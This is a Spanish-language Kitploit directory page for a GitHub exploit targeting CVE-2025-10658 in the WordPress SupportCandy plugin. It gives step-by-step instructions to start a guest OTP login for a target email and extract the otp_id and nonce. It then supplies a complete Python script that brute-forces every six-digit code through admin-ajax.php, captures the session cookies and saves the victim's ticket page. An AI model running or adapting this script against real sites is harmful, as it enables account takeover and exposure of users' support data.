Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-10658 — Script de exploit en Python para CVE-2025-10658: fuerza bruta de OTP de 6 dígitos en el inicio de sesión de invitado de WordPress SupportCandy para lograr la toma completa de la cuenta a través del endpoint admin-ajax.php. | Kitploit
Herramientas/GitHubGitHub/jfriedli/cve-2025-10658
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticación
GitHubjfriedli/cve-2025-10658

CVE-2025-10658

Script de exploit en Python para CVE-2025-10658: fuerza bruta de OTP de 6 dígitos en el inicio de sesión de invitado de WordPress SupportCandy para lograr la toma completa de la cuenta a través del endpoint admin-ajax.php.

Ver Repositorio
141hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit: Fuerza Bruta OTP de Invitado de SupportCandy → Toma de Control de Cuenta

1) Iniciar el flujo de inicio de sesión con OTP (navegador)

  • Abrir:
/support/
  • Seleccionar inicio de sesión como invitado / OTP
  • Ingresar el correo electrónico objetivo (ej. [email protected])
  • Enviar

2) Extraer los valores requeridos del formulario OTP

En DevTools → Network → admin-ajax.php?action=wpsc_authenticate_guest_login respuesta:

<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">

Guardar:

  • OTP_ID
  • NONCE

3) Fuerza bruta del OTP

#!/usr/bin/env python3
import requests, time, sys

ORIGIN = "http://localhost/wordpress"
OTP_ID = 22                  # extracted otp_id
NONCE  = "f2349a6ac9"        # extracted nonce
START  = 0
END    = 999999
RATE   = 25                  # requests per second

AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"

def try_code(sess, code):
    r = sess.post(AJAX, data={
        "action": "wpsc_confirm_guest_login",
        "otp": code,
        "otp_id": str(OTP_ID),
        "_ajax_nonce": NONCE,
    }, timeout=10)

    try:
        j = r.json()
    except Exception:
        return False, None

    return (j.get("isSuccess") == 1), j

def main():
    s = requests.Session()
    interval = 1.0 / max(RATE, 1)

    for n in range(START, END + 1):
        code = f"{n:06d}"

        ok, _ = try_code(s, code)
        if ok:
            print(f"[+] OTP cracked: {code}")
            print("[i] Cookies:", s.cookies.get_dict())

            # Access authenticated page
            page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
            open("with_cookie.html", "wb").write(page.content)

            sys.exit(0)

        if n % 1000 == 0:
            print(f"[*] Tried {n} codes...")

        time.sleep(interval)

    print("[!] Exhausted range")

if __name__ == "__main__":
    main()

Ejecutar:

python sc_guest_bruteforce_linear.py

4) Completa la toma de control de la cuenta

  • Ingresar el OTP de 6 dígitos descifrado en el formulario del navegador
  • Enviar
Descargar herramienta